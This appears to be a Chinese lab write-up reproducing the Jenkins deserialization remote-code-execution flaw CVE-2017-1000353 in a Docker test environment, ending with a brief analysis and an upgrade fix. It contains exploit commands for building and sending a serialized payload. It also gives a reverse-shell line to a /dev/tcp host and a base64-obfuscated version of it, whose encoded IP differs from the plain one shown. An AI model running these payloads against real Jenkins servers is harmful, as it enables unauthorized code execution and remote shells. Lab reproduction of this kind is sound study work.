对Jenkins漏洞(CVE-2017-1000353)复现

Jenkins 远程代码执行漏洞(CVE-2017-1000353)复现

1.实验目的

复现并分析【CVE-2017-1000353】Jenkins 远程代码执行漏洞

使用docker技术搭建漏洞环境,在实验环境中复现该漏洞。

2覆盖知识点

Jenkins

 Jenkins可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。通过更新中心中的1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限

Docker

 Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。

3实验环境与操作

实验环境

1、VMware Workstation 16

2、Ubuntu 20.4 操作系统(靶场安装环境)

   IP地址:192.168.32.135

3、kali Linux

  IP地址:192.168.32.128

4、vulhub靶场

实验步骤

一、实验预备知识

工具链接:

  1. 生成序列化字符串

跳转中...

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

# jenkins_poc.ser是生成的字节码文件名

# "touch ..."是待执行的任意命令

生成的jenkins_poc.ser文件,这就是序列化字符串

  1. 发送数据包,执行命令

工具代码

https://link.zhihu.com/?target=https%3A//github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py 

下载exploit.py执行

python3 exploit.py http://your-ip:8080 jenkins_poc.ser

将刚才生成的字节码文件发送给目标

二、开始实验

启动docker对应镜像,打开Ubuntu进入vulhub靶场对应目录启动。

并使用kali虚拟机对相应端口服务进行访问,可以看到在Ubuntu启动的镜像环境已经成功搭建。

在下载的CVE-2017-1000353-1.1-SNAPSHOT-all.jar

执行预备知识的第一条命令生成对应字节码文件

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/my.txt"

对生成的字节码文件进行发送,使用预备知识第二条指令

python3 exploit.py http://192.168.32.135:8080 jenkins_poc.ser

成功执行后去查找dockers镜像中:docker-compose exec jenkins bash

查看tmp目录下是否成功生成,但我的虚拟机中并没有生成相应的数据包,或者说是我的Java环境出的问题(该项实验目前还没成功实现)

成功执行(原因Java环境需要选择到1.8.202)

反弹shell

按照上面的思路,我们可以借鉴apache log4j的反序列化漏洞思想,将反弹shell命令发送到Ubuntu靶机中。所以我们则可以通过

bash -i >& /dev/tcp/192.168.32.135/7777 0>&1指令完成反弹shell

当然上述指令需要通过base64编码绕过即

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEyOC83Nzc3IDA+JjE=

总体命令为

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEyOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

python3 exploit.py http://192.168.32.135:8080 jenkins_poc.ser

执行后kali监听7777端口查看是否成功反弹shell(我没有反弹成功不知到问题出在哪里,目前还没有解决)

三、漏洞分析

网上查找相关资料显示,漏洞经过序列化的Java SignedObject对象传输到基于远程处理的Jenkins CLI,在使用新的对象ObjectInputStream对其进行反序列化操作即可绕过现有的基于黑名单的保护机制。

四、漏洞修复

升级Jenkins为2.57及以后更高的版本

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值